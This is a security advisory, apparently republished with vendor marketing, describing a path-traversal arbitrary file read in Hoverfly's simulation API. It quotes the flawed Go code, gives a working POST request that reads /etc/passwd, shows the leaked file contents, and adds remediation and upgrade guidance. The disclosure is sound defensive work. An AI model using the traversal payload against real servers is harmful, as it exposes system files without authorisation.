GHSA-6xx4-x46f-f897
HIGHHoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/spectolabs/hoverfly🐹github.com/SpectoLabs/hoverflyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Details
The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST request to read the /etc/passwd file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly's server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
Remediation
The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/spectolabs/hoverfly | all versions | 1.10.3 |
| 🐹Go | github.com/SpectoLabs/hoverfly | all versions | 1.10.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/spectolabs/hoverfly. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/spectolabs/hoverfly to 1.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6xx4-x46f-f897 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6xx4-x46f-f897 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6xx4-x46f-f897. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6xx4-x46f-f897 in your dependencies?
O3 detects GHSA-6xx4-x46f-f897 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.